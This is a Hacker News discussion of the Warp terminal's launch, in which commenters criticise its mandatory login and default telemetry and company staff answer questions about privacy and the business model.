Exactly. I prefer Emacs–style programs where the number of features grows without end, and everyone customizes the UI and keybindings to make the features they like best easiest to use. Every time someone thinks of a new way that Emacs can make their life easier they can add it to Emacs immediately, without asking for permission or even sending in a pull request. Later, if they think the feature is polished enough and others might find it useful, they can send a pull request either to Emacs or to the Emacs Lisp Package Archive (ELPA), or to MELPA (should they not like the minor licensing restrictions on ELPA), or just post it on EmacsWiki or their blog or Facebook page or whatever for others to copy from.

But for that to work you have to start with something that is both very extensible, and yet is also coherently designed. The extensibility has to be a strong part of that initial design, so that the software is designed to be malleable.


I cant use it either (mostly because it's Mac only and also because of the sign-in requirement), but at least they are transparent about it :

https://docs.warp.dev/getting-started/getting-started-with-w...

https://docs.warp.dev/getting-started/privacy


That privacy policy is sketchy. It starts with this-

> Our general philosophy is complete transparency and control of any data leaving your machine. This means that in general any data sharing is opt-in and under the control of the user, and you should be able to remove or export that data from our servers at any time.

They then go on, further down the page, to say that this first paragraph is a complete lie-

> However, for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong.


is that even legal? or can you just write whatever you want into a privacy policy?


It’s a policy - a set of rules. It’s only a problem if you say something and don’t do it. But even then, enforcement is most likely to come from interested parties like payment providers, who couldn’t generally care less as long as it’s not their data that’s compromised.


That is the modern experience part.


I knew this was too good to be true :(

I feel bad for the engineers who worked on this, as this is really awesome but probably will not find market fit


Wait, you _have_ to have a github account to even open this terminal?

Yikes.


I remember an iOS email client many years ago that required a Dropbox login for some reason. It made no sense that an email client would require me to log in to a cloud file storage/syncing service - in my mind these two things are completely unrelated. That email client ended up disappearing.

I expect that a terminal program which requires a login to a completely unrelated service will end up meeting the same fate as that email client did.


> an iOS email client many years ago that required a Dropbox login for some reason.

IIRC, that was Mailbox. Dropbox bought them a month after launch and then, sadly, killed it off two years later.[^1]

[1]: https://www.theverge.com/2015/12/8/9873268/why-dropbox-mailb...


Yes, I believe that's the one. Thanks!

I couldn't remember it, but with a generic name like Mailbox that's not a surprise.


> I really wanted to like it, too. The screenshots look great

Agreed! Let's just wait for a FOSS alternative to pop up that has a few similar fundamental features. Don't need the cloud-multi-user-account-based stuff.


To be honest, for terminal not being open-source is enough for me. I'm not Stallman, but, terminal, seriously…


1) installed it 2) login required 3) uninstalled it

try again


Just curious, what tools do you prefer to use to identify network requests from recently installed applications such as this?


I can't imagine using a Mac without Little Snitch: https://obdev.at/products/littlesnitch

Among other things, it is disturbing how chatty a lot of things are. (Did you know Apple Mail keeps track of which account you email different people with and wants to send that to configuration.apple.com, even if you have carefully disabled everything Icloud related?)

There's a similar tool for Linux, but I usually keep a networkless VM around for playing with potentially sketchy things.


Closed source, monitors everything on the machine.

How much do you trust little snitch?

And then asking to keep a copy of your drivers license for ten years is a complete non starter. (Yes, that's in their privacy policy)


There is a section about being required by the EU to determine location for VAT collection purposes. If their payment processor can’t determine your location sufficiently, then they have to collect data identifying your location and store it for tax/proof purposes. That’s something they don’t want to ever have to do, obviously.

Here’s a link to the policy: https://www.obdev.at/privacy/index.html


On Linux there is OpenSnitch. A bit rough around the edges, but does what it needs to do well.


Thank you.


On the mac there's Little Snitch.


Any Windows equivalent?


Fiddler is fantastic: https://www.telerik.com/download/fiddler


I also would like to know this.


Also, sorry if this is harsh but speaking my mind: why is important to mention what the underlying programming language is?

It seems like misdirection and sleezy marketing. Products built with Rust are particularly susceptible to it.


This. I was excited to try it but I cannot use this on my work computer at all.


It’s a closed source paid spyware development tool that you rely on every day to get work done, what’s not to love about this idea?


Yep, I can pay money for a piece of software so important for my workflow, but no telemetry, no login and other stupid stuff even in opt-in/opt-out fashion.


I just downloaded it, but then thankfully read this comment before running it. No way do I want my terminal sending stuff to Google.


Exactly the same, clicked "comments" as I was downloading it, saw the first comment, deleted the installer.

I'd be supportive of "report issue" buttons (I'd use them, yes), and occasional "Hey, you've used this app for a week/two/month, may we send some telemetry? We need it to better understand how the app is used. Here's the data, is it OK to upload it?" prompts. Yes, as long as I don't see anything sensitive in the payload - it sure is okay, you respect me and I respect you (with bonus points for politely asking); and I'll be sure to reaching out if I'd see anything sensitive.

Phoning home from the get-go for anything but an anonymous update check and requiring some account is a hard "no".


I definitely understand the concerns. For our public beta, we do send telemetry and associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. But we only track metadata, never console output. For an exhaustive list of events that we track, see here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel.... Once we hit general availability, our plan is to make telemetry completely opt-in and anonymous.


Wow, this is just unbelievable. You don't say anywhere on your privacy page that you are associating this data with specific users.

Everything your company says regarding privacy seems to be a complete lie. You contradict yourselves everywhere. As a security officer I would never allow any company whose security I run to use your product- even if you fix this issues now who knows if you're going to lie again in the future.

Trust is hard to regain once lost, and your company definitely blew it here.


Maybe don't put this lie in the middle of the homepage?

> Private & Secure

> All cloud features are opt-in. Data is encrypted at rest.


Encryption at rest is fun until the keys are leaked.


Or prefix it with a "Final product will be ..."


This looks very interesting to me, but some of this telemetry is a deal breaker. On your privacy page, it says "Our general philosophy is complete transparency and control of any data leaving your machine." If I have complete control of any data leaving my machine, can I opt to turn off the telemetry entirely?


of course not. how else will they be able to make you the product without their trojan rabbit sending back all kinds of telemetry goodness.


> we only track metadata, never console output

It would be meaningful to indicate whether you track console input as well.


That's an important callout! By console output, we really mean output from the pseudoterminal, which includes command input and output printed to the terminal.

We don't store any content of _any_ part of a command that's executed in Warp.


... and never will?


Why even ask?

Founders don't really have much control over what the tools they create wind up being used for.

Assume that some people will use any tool you encounter for the worst thing it can possibly do.

If the tool has significant potential to do things that bother you, don't use it.


Why do you say "wind up being used for" as if it is act of god rather than a business decision?


Because I'm talking about founders and how much control they have over the tools they bring into being.

Acts of God are a better model for that than business decisions.

Some users will abuse the snot out of it, and a small start up may not even realize that's happening for months.

The founder may not retain the authority to control decisions about what changes to make to the tools or how to monetize them.

Hackers may break into the servers and use the tool for their own ends.

And, yes, often enough the founder themselves will throw the users under the bus when push comes to shove.


From their link, it seems they don’t. Agree that positive confirmation would be good, for beta.

> We do not store any data from the command input or output itself as part of our telemetry.


This is correct. We do not send or store any terminal contents (input or outputs) to our server.

The only case in which that is not true is if a user elects to use Warp to share the output of a command using our Block Sharing feature.


With the rest of your responses I'm left looking for weasel words in here.


You should do that now and just ask on startup.

Honestly opting in by default is, at least in my opinion, not acceptable.

People who would say no to that popup would not appreciate you randomly reaching out to them anyway.


That's a ton of data being collected. I would rather much have this submitted during a crash, rather than opt-in/opt-out. I'd not want to use a terminal that has data collection that crosses the internet every time I use it.


Totally understand if you don't feel comfortable using it!

The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app?

We do want to make the telemetry opt-in after Warp is out of beta.


There are better ways to gather feedback, even if your application is in beta. Most loyal customers will let you know what’s wrong and what features they’re most excited about- that honest feedback is far superior than telemetry data. You can even add a survey form after the application exits to try and maximize the feedback loop.

Totally understand you’re a new venture backed business, however, you most likely are targeting the wrong group of users by automatically sending data over the internet for “no reason”.


> Most loyal customers will let you know what’s wrong and what features they’re most excited about- that honest feedback is far superior than telemetry data

That's just wrong. Very few users, regardless of loyalty, would bother sending feedback. That's why many companies have drives with gift cards or whatever as reward for participating in giving feedback. And even then, you'd get a limited subset of users ( loyal, loud, with time available to waste) instead of everyone like with telemetry.


How are you checking if they stick to warp as daily driver? Are you checking for other shells open?


We are seeing if people are using Warp regularly.

We don’t know about any shells outside of Warp so technically, they could also using other terminals - but that’s enough info for our product development.

We never track the contents of commands. A full telemetry table is included in our user docs.


I definitely will not try it if the analytics part are not optional, though I am glad to see you're documenting exactly what gets sent. I might consider trying it and even opt-in to the analytics once you make it optional.


At least for EU users, you cannot collect information like this without the explicit consent of those users.

It's 2022 FFS, and still companies are over-stepping the mark - companies behaving like yours are exactly the reason GDPR and ePrivacy etc exist in the first place :/


well, they gotta pay back those $17M to investors !


Yup, that's an immediate deal-breaker for me. Shame because this looks really interesting :/


Yes, but it's written in Rust.


> I really wanted to like it, too. The screenshots look great

My thoughts exactly. I don't use potential keyloggers on my browser (think grammarly or similar), I'm not going to install a terminal making requests or getting my data as I use it.


They have a "layman's terms" section where it states that for now, in beta, telemetry is going to be on regardless https://www.warp.dev/privacy

They promise that after beta you won't need Github, and telemetry will be optional.

Though imo this is just as easy to read and understand: https://assets-global.website-files.com/60352b1db5736ada4741...


How do you check which requests its making? Do you just use tcpdump or something?


You could use a layer 7 firewall for this purpose. I use Little Snitch on macOS and Opensnitch on Linux. Given this application is macOS only right now, I would bet OP used LS since its popular on macOS.


Thank you. Im dual booting osx and linux right now so those will both come in handy.


Just FYI, sentry is error capturing and reporting tool, not "telemetry". It could be potentially abused to collect "telemetry", but there are far better tools for that so it'd make little sense IMHO. I've used it extensively for error management in a previous job and it worked very well, correlating with env, release, etc. and it was great ( it was the self-hosted version, but still). Not affiliated in any way, just a happy "customer" ( never paid so not really a customer).


As a user of sentry technically, you're also aware of how difficult it is to keep user information out of those errors and stacktraces. Just paths are enough to start leaking information about you and your system that just shouldn't leak from your terminal to the internet.


yeah, hard pass

edit: no windows or linux support ???


There's no reason for a terminal emulator to connect to the internet or collect telemetry opt-in or not. None whatsoever.


UI looks great to me too. Thanks for the comment, I'll skip on downloading this though because of the outgoing requests


Not touching it with a 10-foot pole.


What is your tool of choice for intercepting outgoing requests like this?


That’s concerning - I am also wondering if iTerm too sends this data…


yeah I just block all of those domains in my dns reverse proxy now, idgaf


Thank you!


lol


Come on. You must realize VS Code and basically every website you use collects telemetry data, which is rarely for anything nefarious except product improvements. If GitHub/Microsoft had released this product, would you be raising the same concerns?


We can set the bar higher than “other people do this too so it’s fine”.

> If GitHub/Microsoft had released this product, would you be raising the same concerns?

Yes. It’s one of the reasons I use the open source build instead.


Me too. VSCodium FTW https://vscodium.com/


Maybe not but I'd trust Microsoft has a decent security and privacy team working on this more than a startup. What if they're logging the wrong stuff and my data is leaked?


Good point - Microsoft products practically created the modern security industry. They're experts.


Did you mean that old school Microsoft was so badly insecure that they created a massive opportunity for security professionals.


I did mean that, yes.


You mean like when Microsoft started uploading all handwriting & voice recognition inputs including passwords?

History has shown that telemetry is effectively spyware until proven otherwise, no matter who does it.


Yeah but if Microsoft fuck up badly enough I can sue them, startups are less likely to survive a significant breach (especially if the thing being breached is 100% of their product). There's just far less risk.


I think you could've had a full stop before 'until proven otherwise'.


I use VS Codium for this reason and self host git so yeah for me that's definitely a thing. And I have a ton of stuff to block as much telemetry from other software and websites as I can, including on mobile.

It's not for everyone but yes there are still Don Quixotes like me fighting the army of windmills :)

I suspect the proportion of us here at HN is pretty high too.


A remote system by definition has access to the information you give them and you should manage that carefully. Meanwhile your filesystem has access to your entire life, heart, and mind unvarnished, edited, and unsegregated with ephemera alongside the deep facts of your mind.

Microsoft is a criminal enterprise that relatively recently got god to a degree and actually started caring about their image at home while still facilitating crime and corruption abroad. The fact that many are stupid enough to trust them with their data does not imply that this is a reasonable choice.


> which is rarely for anything nefarious except product improvements

Up until now, you've had to make these design decisions on your own, relying only on perplexing intangibilities like 'taste' and 'intuition'.


"We started with the open source product Alacritty, though for now we won't be sharing our source code. ..But depending on the telemetry we receive we might decide to make the source available at some undetermined point in the future! Maybe."

Talk about a bad taste. This is basically the Elasticsearch licensing fiasco waiting to happen again.

So many red flags, I don't have time to list them.

Bottom line: The company attitude is not open, and bears the whiff of the aggressive Docker-4-Desktop fiasco and financial investment recoupment strategy.

Lots of things can change, but organization DNA doesn't.

See also: Microsoft, Uber, Apple. Things don't really change.


Why the bad taste? If Alacritty doesn't want to be close-forked they should use a copyleft license.


It's also worth mentioning that we didn't "just copy" Alacritty. We actually collaborated with Alacritty creators when starting Warp.


((Record scratch sound))

Looks really neat. But there's a dissonance between the positioning here vs. the audience it is intended for. The community of folks interested in using a terminal is largely one of grizzled veterans that significantly overlap with security (conscious) folks.

Overlap with Instagram influencers living their best life in public is approximately nil. :)

I suppose there are newbie developers that don't know better, but are already using vscode and use the built-in term if they even bother. I could see cloud features and telemetry being useful however as an opt-in separate install.

So, I'd dial back the idea that "modern" means giving in to the surveillance dystopia.

Bonus points if you get it running under OS/2.

Also, was just reading about how Flynn couldn't get funded, that made me a bit sad.


> But there's a dissonance between the positioning here vs. the audience it is intended for.

I don’t think so. I think they’re running the same playbook as most investor-backed dev tool companies. They just forgot you’re supposed to reach critical mass before you start the mandatory invasive data harvesting.


What a coincidence, I wonder if this other dude got $17 mil: https://github.com/spolu/warp

> warp lets you securely share your terminal with one simple command: warp open. When connected to your warp, clients can see your terminal exactly as if they were sitting next to you. You can also grant them write access, the equivalent of handing them your keyboard.

> warp distinguishes itself from "tmux/screen over ssh" by its focus and ease of use as it does not require an SSH access to your machine or a shared server for others to collaborate with you.

> Despite being still quite experimental, warp has already proven itself useful especially in the context of:

> - Interaction with remote team-members

> - New engineer onboarding (navigating code in group without projection) Installation


> I’m ___, founder and CEO of Warp, and am excited to show you Warp, a fast Rust-based terminal

To be honest - it feels weird seeing a company launch a free terminal, in 2022. How will the company make money? How long will this tool be around for? How will this company degrade the experience, or my privacy, so they can make money?

I also don't know how to square my thoughts on the above with the need to have sustainable open source development which no one seems to pay for?

---

Anyway, neat to have a new terminal that isn't Electron, but I'll stick to MS Terminal. At least they already have all my telemetry data.


Here's my idea! A repurposed "sl" (the stream locomotive program) that displays ads every 300 characters you type.


You can target it, ie. if you invoke javac more than once a day, it could recommend local depression clinic services.


We're going to need more analytics on customers use pattern before we can launch this idea publicly though.


Warp engineer here.

The terminal is totally free for individuals. Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

We will not degrade your experience: we would never charge for anything a terminal currently does. No paywalls around SSH or features that don't cost us money. We will never sell your data. We treat privacy seriously at Warp: check out www.warp.dev/privacy for more information.

We are planning to open-source parts and potentially all of the terminal.


> Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

why would businesses pay for something that was always free?

selling bottom to top is terrible strategy that rarely works (been there, done that)

you should instead market it to decision-makers who actually have a say what services the business purchases or not

developers have no say in business and have no access to credit cards

basically if you want to sell a terminal app, don't sell a terminal app, instead sell your "productivity platform" and terminal is just needed to "access productivity benefits"


The collaboration tooling stuff sounds interesting. It's the same model as Postman.


Not much new to say, just my $0.02.

- Love the idea overall of a fresh, new shell. I love novelty, features, ergonomics, and this pushes all the right buttons

- Looks gorgeous

- The mandatory Github login is...weird. I don't mind logging in, but it seemed unskippable, and conceptually that leaves a bad taste.

- Mandatory telemetry...ehhh. Like I get it, I use Sentry and OTEL, I love the visibility, and I get exactly why you want it in the beta, but ehhhh, really bad look. Especially in this community. Also the privacy policy doesn't seem to be linked from the app. I can get to it, but would be nice to just go there right from the about page. On the whole...I find it tolerable, but I don't work in a highly sensitive field at the moment. At $LASTCO, that would be a complete nonstarter. Between the squick factor and compliance, it would be good to at least allow some amount of opt-out on the phone home.

- I would easily pay $20-50 for a souped-up terminal (I spend all day in it), even a closed-source one, but the "we raised tons of money to build a free terminal and haven't figured out how to monetize it yet", again, understandable, but not the best look, given the mandatory data collection. Hey, dev's gotta eat, but I'd rather pay for OSS and transparency, rather than free-but-you-are-the-product, and I hope they go for the former route.


Appreciate you writing in!

> I would easily pay $20-50 for a souped-up terminal (I spend all day in it), even a closed-source one, but the "we raised tons of money to build a free terminal and haven't figured out how to monetize it yet", again, understandable, but not the best look, given the mandatory data collection. Hey, dev's gotta eat, but I'd rather pay for OSS and transparency, rather than free-but-you-are-the-product, and I hope they go for the former route.

The terminal is totally free for individuals. Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features.

The general philosophy is that we would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are things that have a cost to us, for example enabling real-time terminal collaboration. Even those will likely be free up to some level of usage and only charged in a company context.

We will never sell your data.

> Also the privacy policy doesn't seem to be linked from the app. I can get to it, but would be nice to just go there right from the about page.

The privacy policy is linked from the login screen and it's also one of the first items in our user docs.


It's unfortunate that the name conflicts with an HTTP library in rust already: https://crates.io/crates/warp

Otherwise, it looks neat.


Yep, this is what I first thought of when the title said Rust.


We had actually already picked the name before we settled on using Rust, but we think the warp server framework is great and actually used to use them as a dependency at one point in time


Sure, but since you're promoting Warp as "written in Rust!", that really makes the confusion unfortunate. Even worse if you ever opensource the fork.


There's already a major Rust project named warp with over 6,000 stars on Github:

https://github.com/seanmonstar/warp

It seems like you're going to confuse people and crush someone's established project with your $17m. "Warp" + "Rust" is a web framework.


Excitedly downloaded this, launched it, and then was met with a login screen. wop wop. I closed it and deleted it.

I don't understand. Why is login a requirement to even use it?

Why not have an excellent free terminal as a way to get people using your tools, and then add the collaborative/audit features as paid features? That way many devs would not only start using this, but can make it a part of their daily workflows.


Hi - Warp engineer here! Fully understand your disappointment and hesitation.

The terminal is totally free for individuals. The general philosophy is that we would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that.

You're totally right in that the collaborative/audit features are a good fit for being paid features. Our business model will be around charging companies for team features.

For our public beta, we do send telemetry and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. But we only track metadata, never console input or output. For an exhaustive list of events that we track, see here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel.... If this is uncomfortable to you, please wait for Warp to enter General Availability. At that point our plan is to make telemetry opt-in and anonymous.


I actually have no issue with free/paid. It’s the login requirement that’s bothering me. But you’re saying that’s the part that’s used by telemetry?


Right now, login is required while we're in Open Beta.

When we GA, login will be opt-in (although you'd lose some of our cooler features).


Makes sense. Hope you guys get another chance at the front page after removing telemetry that has put off so many of us from trying out the product.


It looks nice but I'd never use a shell that phone's home. Period.

I mean the CLI has been one of the last parts of my system that I really still trust is working on my behalf only.

This product made me rethink that assumption.

As for capturing the output from a command line on the mac (and also on linux IIRC) just use pbcopy/pbpaste.

My opinion: It's not worth giving your privacy away for features like this.


pbcopy/pbpaste are gems that more Mac users need to know about. A command line interface for your clipboard is invaluable and really ties together jumps from UI to CLI.

Regarding the other thoughts in this post, I have to agree. I use iTerm instead of Terminal.app, but if I had even the remotest fear that it was sending anything elsewhere, I would jump ship. My terminal has all kinds of information that can act on my behalf, and I wouldn't want any of it leaving my Mac at all, ever, period. Had this been open-ish source but not phoned home, I'd give it a try. But opaque data leaving for who knows where? Nope.


I use them from my linux workstation as a poor man's access to apple's universal clipboard.

echo -n something | ssh my-mac pbcopy

then I can paste on my phone.


Try this: https://github.com/bradwood/glsnip

Disclaimer: I wrote it


sadly, this looks like it doesn't work on iOS, which is my major driver to use pbcopy/pbpaste.


This is... actually genius. I wonder if that would work with media too, specifying the input type or something, going to test that.


Looks easy. Yet you need to write the JPG to a temp file first since applescript does not seem to be able to parse JPEG without seek(), hence no piping / streaming possible.

  [1] https://stackoverflow.com/a/30578507/5094001


same - I'll stick with iTerm and zsh. It's definitely interesting though. Probably a security nightmare though. I noticed the one feature to share terminal output via a third party link. I can imagine there being a set of people accidentally leaking critical information via this feature (ie, passwords, private keys, system settings).


Lots of CLI tools phone home unfortunately. I mean, snap has a cli.. :) Maybe that's low hanging fruit.


1. CLI != CLI tool != terminal emulator

2. Snap is a package manager. All package managers phone home by design, because they make requests to external servers on the user's behalf. If you invoke Snap then you are most likely aware of what it does and how it behaves.

3. I would argue that a lot of CLI tools don't phone home actually. You're right that some do, but the majority of shell utilities are designed to operate on stdin/stdout/stderr. They have no need for network access, and very few utilities come to mind that perform the same degree of data collection as Warp. Certainly no terminal emulators come to mind.


Do you use Windows? Have you ever opened its terminal? Congrats, you're using a terminal that you agreed can phone home with telemtry. See https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk... and the link to the privacy policy for windows terminal http://go.microsoft.com/fwlink/?LinkID=521839

I suspect OSX is no different and has similar telemetry and privacy policy for its terminal.


Nope. I have never used Windows on any of my personal machines, not ever. I am waiting this MS Windows thing out, you could say.

At work I have used it in some cases when not given the choice.

If some company I am working for is fine with the Windows CLIs telemetry, then I suppose it is up to them, although I'd argue against it.


In an (absurd-ish) defense of macOS, I don't believe anyone really uses the built-in Terminal and grabs an alternative (often iTerm2).

There's also the rumor that Terminal in macOS has had a handful of developers working on it, at best, over the years. I would bet money that Apple doesn't care enough about it to bother with telemetry and/or privacy policies for it.


I bet that's true. MacOS terminal is basically still the one from next step. They've kept it up to date with changes like GUI toolkits and added a few minor things like tabs. But that's about it.

Fwiw I never bothered with iTerm, Terminal is good enough for me. It even supports some old school vt100 stuff like double width and height fonts. It's one of the better vt100 compatible ones.


I still find macOS Terminal to be noticeably faster than item. At displaying my keyboard input and shell output. It lacks other features, namely split windows, that move me to iTerm, but I do like how fast Terminal is.

> There's also the rumor that Terminal in macOS has had a handful of developers working on it, at best, over the years.

This but every app on the mac that isn't Safari.


>This but every app on the mac that isn't Safari.

Eh, I know it's a joke but there are full teams who work on Pages/Numbers/etc.


I used iTerm from 2010-2018, but then I saw a respected colleague not using iTerm, so I decided to try out the Terminal.app bundled with macOS. It actually works fine, the only difference is that it never gets slow and is available on ever mac machine.


Nothing wrong with the macOS stock terminal too. GP just pulled the macOS terminal telemetry nonsense out of thin air.

I too use iTerm for its rich features, but the stock terminal is known to have lower latency [1] so some people might prefer that.

[1]: https://danluu.com/term-latency/


I have been using the built-in macOS terminal every day for years now.


I have been an OS X user since its inception, and have only ever used the built in terminal. I spend a ton of time in the terminal and I have never felt the need to use anything else.


It’s the only terminal I use on macOS. It’s a really “gets out of your way” piece of software. And super closed source.


Yes, they never substantially upgraded it once it hit 1.0 about two decades ago.


i have been using the macOS Terminal since macOS X was a thing (with different capitalization) and since its origins in NeXTstep since around 1990.

I suspect it's the same codebase, but don't have a proof of that.


Exactly, that's why people tend not to choose Windows for development unless they're forced to.

edit: use -> choose


> Exactly, that's why people tend not to choose Windows for development unless they're forced to.

In my experience, most people who are developing software for Windows choose to use it to develop that software. There are a great many people who choose to develop software for Windows.


Well, that's obvious. If I had to develop software for windows (or OSX) then I'd be using those platforms to build/test those tools.

But I choose not to.


This is so far from truth it's hilarious.


> I suspect OSX is no different and has similar telemetry and privacy policy for its terminal

wrong, Apple isn't Microsoft


No. I don't use Windows. Or OS X.


> Do you use Windows?

Whenever I do that, I can never decide whether it's me who's using Windows or Windows that's using me :-(


> forgets linux exists


Would you expect anything less than a product from the first company to lie down for the NSA?


Note that this is Windows Terminal, not the default terminal that actually ships with Windows (unless that has changed in Windows 11?)


But Windows Terminal is open-source and probably someday community will fork it to remove telemetry the way they did with VSCode.


I've been loving Warp since discovering it on HN a few months back. I was originally drawn in by how it treats text input like a regular text input field out of the box, so I don't have to configure anything and my normal text editing shortcuts just work.

But the other features of it have been really great too. I like the terminal splitting, the history searching, the command palette, and no performance issues I've noticed either. It's made my terminal a joy to use for once. Keep up the great work!


For what it's worth, if the keybindings you want are Vim or Emacs-like, you can get this behavior in Bash or Zsh (or probably other terminals) with literally one line of configuration.


I want it to behave like every other text input field on my Mac. So I can do option+left/right to jump words, Cmd+left/right to jump to beginning/end of a line, shift + move cursor to highlight text, Cmd+A to select all, option + forward delete to delete the whole word in front of my cursor, etc


what’s wrong with the standard terminal then?


It does none of the things I mentioned


Option+left/right works, but that's it :-]


The emacs-like keybindings are default for bash (and probably zsh too). So you need zero lines of configuration, just the awareness that they exist.


Warp engineer here - Thanks for being an early user!

While folks have mentioned here that shells have powerful line editing capabilities, I've found that a lot of people miss this. We want to allow a broader set of people to be productive in the terminal. And FWIW, a lot of developers - with varying amounts of experience - have resonated with the text input.

Personally, I'm a heavy vim user and I've never gotten particularly comfortable using the shell's line editor.


Ctrl-x, ctrl-e


Congrats on your launch, though it seems you are getting slammed here and it may not be the reception you anticipated. I'm genuinely curious if you talked to your target demographic prior to this or only postulated that this would be a viable product with the proposed revenue model? The HN crowd is brutally candid and honest. Hopefully the criticism you are currently receiving can be structured into a revision of the product.


I still to see something that is not "slammed" here on HN.

I read this article the other day that people with "technical background"[1] have this "instinct" to quickly look for "wrongs/fails" to avoid failures, issue here is, we express our selves terribly and most of the time it will go blunt on comments. This lead a whole discussion on the topic, some people it was the right thing to do, and others thought that we should be more human/kind to each others.

The article above was actually about Pull-Request/Code-reviews, and how some people will mostly scrutinise others people work to feel like a hero.

[1] I believe most of us here have a "technical background", who else uses a "ugly forum"


Thanks for the kind words! We actually did (and still do) talk to our Users via Discord, github issues, as well as 1-1 User interviews.

In fact, I participated in a very first user research sessions (back then it was me and the ENTIRE WARP TEAM) almost a year ago, and after a session like this I decided to interview with the company and changed my job, and joined Warp :))


This isn't even the first thread on HN about Warp. Some never took off, but both https://news.ycombinator.com/item?id=27835057 and https://news.ycombinator.com/item?id=27834649 have a bunch of comments. The Discord has almost 900 people in it.


Here I am on my free-as-in-freedom operating system, making commits with my free DVCS tool in my free text editor, building it with my free language toolchain, using my free terminal multiplexer with my free UNIX shell.

There is absolutely zero chance that I'm going to do all of this using a proprietary closed-source telemetry-sending terminal emulator no matter what visual niceties or fancy UI frameworks it may offer.


I'm going to go against the general negativity nancy grain and say: this looks nice. I'd use this. The basic terminal experience is _fine_, but it could definitely be a lot better, and this seems to improve a lot of the warts that I have using the terminal.

Telemetry for a beta? Sure, whatever, y'all are being transparent about what is being collected and, as a developer, I can definitely understand the desire to collect information about usage to improve the experience.


As someone who uses the terminal a lot and is not allergic to closed source tools or even telemetry necessarily, I'd be in your target market, I think.

But one thing that your landing page has left me confused about: you have two examples like this:

    cargo +stable fmt
    cargo +stable check
    cargo +stable tests/
presumably to show off multi-cursors. But in neither example does the person appear to hit "Enter", which is the part I'm really wondering about. Like... what happens? If you run three separate commands like that at the same time are they in separate subshells or implicitly `&&`'ed together or something else? What's the return status if either `check` or `tests` fails? If `check` fails but `tests` pass... is the check failure's exit status lost? What does (e.g. in fish) `echo $status` say afterwards?

Multi-cursors and multi-line editing is definitely cool, but the example there totally doesn't match my mental model of a how a shell works, so it leaves me perplexed and confused how warp actually works.


Assuming you're on a shell that supports bracketed paste, it'll treat it as one block and execute all of the commands one after the other. The exit status will be that of the last command run.


I pay for apps that I use once a months or once every other month, why not for something that I will use everyday for long hours. However:

- Collecting telemetry - Requiring sign up (and associating telemetry wit it)

Are flags for me.

If you want to collect feedback fast and easy, the best would have been letting it be taken for a spin by folks in HN and and you could have probably benefitted from a good deal of input on improvement or bug-hunting.

A terminal with a dedicated well funded company, I welcome and can pay for such terminal. But collecting too much data these days is at least frowned upon by almost everyone.


> I’m Zach, founder and CEO of Warp

You started a company to write a terminal app? I'd say that's either misguided, or you have something underhanded planned.

> any Mac user can download it.

Any _Mac_ user? Sounds fishy.

> The terminal’s teletype-like interface has made it hard for the CLI to thrive.

Isn't that an anti-tautology? Hmm.

> An input area that works just like a code editor

Why wouldn't I just use a code editor? We are talking about an app for graphical desktop environments, right?

> ... with GPU-accelerated graphics

That you wrote especially for this app? I don't know...

> We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client.

A _closed-source_ terminal app? Nuh-uh. You're up to no good.

----

And after noticing those red flags, I read @orastor's post about the app connecting to all sorts of servers.


So, I was excited by the idea of a terminal that added new functionality and wasn't electron based. So I downloaded Warp.

And, honestly, I can't use it. They interfere with the operation of the shell to such a degree that I had to disable almost my entire bash configuration.

Add to that, that I already have the following features native to bash shell (and I'm sure they're in zsh too):

- history of commands: easily searched by pressing ↑ or ⌃+r - completion: via the awesome bash-completion project - split panes: both terminal.app and screen do this for me - session sharing: screen + ssh does this for me - "workflow" sharing, I can and do write shell scripts that can be used by others

I've seen comments trying to defend this that REALLY make me doubt that the devs even understand how a terminal + shell work. A shell script will run in it's interpreter regardless of what shell you happen to use, shared commands will inherently be in the flavour of shell-script that the sharer is used to, and so i have to know how to use their shell as well as mine to translate between them, which again isn't a problem when running a script. They claim that people don't document their scripts, but the same people who won't document a script won't document stuff they share in warp. They claim there's no way to find documentation natively from the terminal or to search for scripts based on what they do, apparently they haven't heard of apropos and man pages?


Warp engineer here! The shell has arbitrary access to the environment, and there's a long tail of shell config to play nice with. For example, here's a fun technical read about how we supported PS1 and how the 9c byte caused some issues (https://www.warp.dev/blog/whats-so-special-about-ps1). We've prioritized issues based on the impact for the product. If you're up for it, I'd love if you could file some issues about the problems you're experiencing.

There are a lot of great shell configs. One advantage of Warp is that the terminal & shell have these features out-of-the-box.

> A shell script will run in it's interpreter regardless of what shell you happen to use, shared commands will inherently be in the flavour of shell-script that the sharer is used to, and so i have to know how to use their shell as well as mine to translate between them, which again isn't a problem when running a script.

Workflows in Warp specify the shell in the metadata.

The idea for workflows is to allow people to search commands based on what they accomplish, rather than requiring everybody to remember the command and type. For example, if I wanted to delete all empty files in a line, instead of remembering the exact incantation of sed to accomplish this, I could search "delete empty files".


> For example, if I wanted to delete all empty files in a line, instead of remembering the exact incantation of sed to accomplish this, I could search "delete empty files".

(I'm assuming you meant "delete all empty lines in a file", since "delete all empty files in a line" doesn't make sense)

You don't need "the exact incantation of sed"; it can be done in 6 bytes: `grep .` if you know a bit of basic coreutils-fu. And if you want to do it with sed, which also allows you to do it in-place, it's not an "incantation" either. `sed -i /^$/d`. I didn't know that command ahead of time, I just worked it out using my problem solving skills and basic knowledge of sed. If you think it's an unintelligible incantation that you have to remember and can't reconstruct yourself, then you're not much of a developer.

Why would a developer want to search for "delete empty lines" in their terminal? If you don't know how to do it, you'd Google it and copy-paste from StackOverflow. If you do know how to do it, you'd just do it without needing to search for anything. It's not a complicated task.

And if it is a more complicated or at least a less general task, then a developer is gonna be able to write a program to do it.

Maybe your point is that someone else has already done that, but in which case, again, there's Google, or company documentation, or you can ask your colleague, or look in the `project/tools/` for the name of the script that does it already.

I just cannot see the purpose of this.


